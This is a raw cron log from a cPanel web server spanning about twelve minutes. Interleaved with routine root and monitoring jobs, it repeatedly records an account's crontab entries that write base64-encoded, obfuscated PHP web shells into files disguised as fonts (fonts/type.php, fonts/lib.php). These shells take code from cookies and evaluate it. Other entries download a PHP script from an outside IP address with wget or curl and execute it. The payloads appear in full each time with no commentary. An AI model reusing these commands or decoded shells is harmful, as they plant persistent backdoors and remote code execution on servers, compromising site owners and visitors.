Sep  6 12:27:01 ip-184-168-122-23 CROND[31614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:28:01 ip-184-168-122-23 CROND[32245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:28:01 ip-184-168-122-23 CROND[32249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:28:01 ip-184-168-122-23 CROND[32250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:28:01 ip-184-168-122-23 CROND[32247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:28:01 ip-184-168-122-23 CROND[32248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:29:01 ip-184-168-122-23 CROND[355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:29:01 ip-184-168-122-23 CROND[356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:29:01 ip-184-168-122-23 CROND[358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:29:01 ip-184-168-122-23 CROND[359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:30:01 ip-184-168-122-23 CROND[930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:30:01 ip-184-168-122-23 CROND[934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:30:01 ip-184-168-122-23 CROND[936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:30:01 ip-184-168-122-23 CROND[937]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:30:01 ip-184-168-122-23 CROND[938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:30:01 ip-184-168-122-23 CROND[932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:30:01 ip-184-168-122-23 CROND[939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:30:01 ip-184-168-122-23 CROND[940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:30:01 ip-184-168-122-23 CROND[941]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 12:31:01 ip-184-168-122-23 CROND[1342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:31:01 ip-184-168-122-23 CROND[1343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:31:01 ip-184-168-122-23 CROND[1344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:31:01 ip-184-168-122-23 CROND[1346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:31:01 ip-184-168-122-23 CROND[1349]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 12:32:01 ip-184-168-122-23 CROND[1744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:32:01 ip-184-168-122-23 CROND[1746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:32:01 ip-184-168-122-23 CROND[1748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:32:01 ip-184-168-122-23 CROND[1747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:32:01 ip-184-168-122-23 CROND[1749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:33:01 ip-184-168-122-23 CROND[2062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:33:01 ip-184-168-122-23 CROND[2064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:33:01 ip-184-168-122-23 CROND[2063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:33:01 ip-184-168-122-23 CROND[2066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:34:01 ip-184-168-122-23 CROND[2485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:34:01 ip-184-168-122-23 CROND[2486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:34:01 ip-184-168-122-23 CROND[2489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:34:01 ip-184-168-122-23 CROND[2491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:34:01 ip-184-168-122-23 CROND[2490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:35:01 ip-184-168-122-23 CROND[2782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:35:01 ip-184-168-122-23 CROND[2783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:35:01 ip-184-168-122-23 CROND[2786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:35:01 ip-184-168-122-23 CROND[2789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:35:01 ip-184-168-122-23 CROND[2790]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 12:35:01 ip-184-168-122-23 CROND[2791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:35:01 ip-184-168-122-23 CROND[2787]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:35:01 ip-184-168-122-23 CROND[2788]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 12:36:01 ip-184-168-122-23 CROND[3057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:36:01 ip-184-168-122-23 CROND[3061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:36:01 ip-184-168-122-23 CROND[3060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:36:01 ip-184-168-122-23 CROND[3059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:36:01 ip-184-168-122-23 CROND[3062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:37:02 ip-184-168-122-23 CROND[3344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:37:02 ip-184-168-122-23 CROND[3346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:37:02 ip-184-168-122-23 CROND[3347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:37:02 ip-184-168-122-23 CROND[3349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:38:01 ip-184-168-122-23 CROND[3581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:38:01 ip-184-168-122-23 CROND[3583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:38:01 ip-184-168-122-23 CROND[3584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:38:01 ip-184-168-122-23 CROND[3585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:38:01 ip-184-168-122-23 CROND[3586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:39:01 ip-184-168-122-23 CROND[3912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:39:01 ip-184-168-122-23 CROND[3916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:39:01 ip-184-168-122-23 CROND[3915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
